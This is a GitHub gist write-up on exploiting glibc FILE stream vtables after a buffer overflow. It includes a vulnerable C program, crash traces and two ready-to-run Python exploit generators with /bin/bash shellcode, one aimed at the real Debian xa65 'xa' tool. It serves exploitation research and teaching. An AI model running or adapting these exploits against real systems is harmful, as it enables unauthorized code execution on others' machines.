Skip to content

Instantly share code, notes, and snippets.

@neuromancer
Last active March 25, 2021 12:10
Show Gist options
  • Star 25 You must be signed in to star a gist
  • Fork 8 You must be signed in to fork a gist
  • Save neuromancer/a53891db0ac199f43a1a to your computer and use it in GitHub Desktop.
Save neuromancer/a53891db0ac199f43a1a to your computer and use it in GitHub Desktop.
exploiting the f* functions (a.k.a. abusing file-streams in libc)
#
# # #
### # ##
##### exploiting the f* functions
############ (a.k.a. abusing file-streams in libc)
######
## # ##
#
general information
-------------------
bug type : arbitrary code execution
software name : EGLIBC
version : 2.15 or greater
vendor : EGLIBC Consortium
vendor homepage : www.eglibc.org
software link : www.eglibc.org/repository
tested on : Debian Wheezy/Jessie/Sid, Arch Linux
authors : proudhon & Ubik
date : 2013-12-30
description : The C programming language provides many standard library
functions for file input and output. C abstracts all file
operations into operations on streams of bytes.
disclaimer
---------
all the information and code given in this document is provided "as is",
for educational purposes only. the authors will not be responsible for any
damage.
technical information
---------------------
Have you ever wonder how to exploit this program:
//fputz.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
static char out[512];
static FILE *fp;
int main(int argc, char **argv) {
fp = stdout;
strcpy(out, argv[1]);
fputs(out, fp);
exit(0);
}
//EOF
If the binary is not fortified, an overflow is available as we can see:
$ gdb --args ./fputz $(python -c 'print "A"*1000')
...
Program received signal SIGSEGV, Segmentation fault.
__GI__IO_fputs (str=0x804a040 'A' <repeats 200 times>..., fp=0x41414141) at
How we can take advantage of the internal structure of the FILE objects from
libc to execute code? Well, first, we should redirect the fp pointer to
controllable memory. The perfect candidate for this is the 'out' buffer, since
its address is constant and we can fill it with plenty of (non-NULL) bytes.
---------------------------
v |
[ out ] [ *fp ]
The second step requires us to check the FILE internals, to find out how we can
take advantage of FILE object. If we take a look to the libioP.h header, we
can find some juicy information on the internals of FILE, implemented using:
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
The vtable pointer is just what we need! This is not a new idea.
Some work was previously done on this by Kees Cook at:
http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
Our plan to execute arbitrary code is to provide a pointer to a fake vtable.
But.. where we can store this vtable? Again, The perfect candidate for this is
the 'out' buffer.
----------------------
v |
[ fake _IO_FILE? | *vtable ]
Obviously, this won't work if we don't define carefully the malicious
_IO_FILE_plus since the program will crash looking for pointer or enter in
deadlock. To avoid trouble, we should define the FILE flags with a value
that disables any lock operation on the FILE. Using gdb we can see that
the function _IO_flockfile is executed right before the vtable pointer is read
from memory. Such function checks the higher bit of the lower word of
the _flags field of IO_FILE. If the bit is set, then the file will not be
locked, as we can see here:
#define _IO_USER_LOCK 0x8000
...
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_flockfile (_fp)
Finally, we control the bytes of the vtable the f* functions will use, so it's
time for the code execution!. Of course, we shouldn't forget the usual
protections as PAX, that we will disable since they are not related with
this simple technique to exploit FILE objects.
The final exploit can be generated using the following python script:
#!/usr/bin/env python2
import sys
base = "\x08\x04\xa0"
offset = 0x40
# fp: pointer to the beginning of the buffer
ptr = (base + chr(offset))[::-1]
# vtable: pointer to the address pointing to the shell-code
ptr2 = (base + chr(offset - 0x18))[::-1]
# pointer to the beginning of the shell-code
ptr3 = (base + chr(offset + 0x08))[::-1]
# non-null byte to pad
c = "\x01"
# _IO_FILE flags to avoid deadlocks
fl = c+"\x80"
# shell-code from http://packetstormsecurity.com/files/89203/
sc = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"\
"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80"
exp = fl + c * 2 + ptr3 + sc + c * (141 - len(sc)) + ptr2 + c * 359 + ptr
print exp,
# EOF
"real-life" example
-------------------
Inside the xa65 package in Debian Wheezy/Jessie/Sid there is a small command
line tool called xa, a cross-assembler for 65xx/R65C02/65816, that we know that
is buggy:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=716483
so if we play a little with it:
$ gdb --args xa $(python -c 'print "A"*3000')
...
Couldn't open source file 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Program received signal SIGSEGV, Segmentation fault.
__GI__IO_fputs (str=0x8058440 "Couldn't open source file '", 'A'
<repeats 173 times>..., fp=0x41414141) at iofputs.c:40
We can follow the same technique explained before to recreate our malicious
_IO_FILE_plus and to execute code. The final exploit is presented here:
#!/usr/bin/env python2
import sys
base = "\x08\x05\x84"
offset = 0x5b
# fp: pointer to the beginning of the buffer
ptr = (base + chr(offset))[::-1]
# vtable: pointer to the address pointing to the shell-code
ptr2 = (base + chr(offset - 0x18))[::-1]
# pointer to the beginning of the shell-code
ptr3 = (base + chr(offset + 0x08))[::-1]
# non-null byte to pad
c = "\x01"
# _IO_FILE flags to avoid deadlocks
fl = c + "\xa0"
# shell-code from http://packetstormsecurity.com/files/89203
sc = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"\
"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80"
exp = fl + c * 2 + ptr3 + sc + c * (141 - len(sc)) + ptr2 + c * 1880 + ptr
print exp,
# EOF
acknowledgements
----------------
To guille for his help looking the libc source and to the Debian developers for
their highly inconsistent policy of compilation of packages with FORTIFY_SOURCE.
@picktechnologies
Copy link

good stuff

@kees
Copy link

kees commented Jan 2, 2014

Nice work. However, I think you mean Kees Cook, not Sebastian Kramer. :)

https://gist.github.com/kees/4f3c25f7dbc48e35b90e/revisions

@neuromancer
Copy link
Author

Fixed, thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment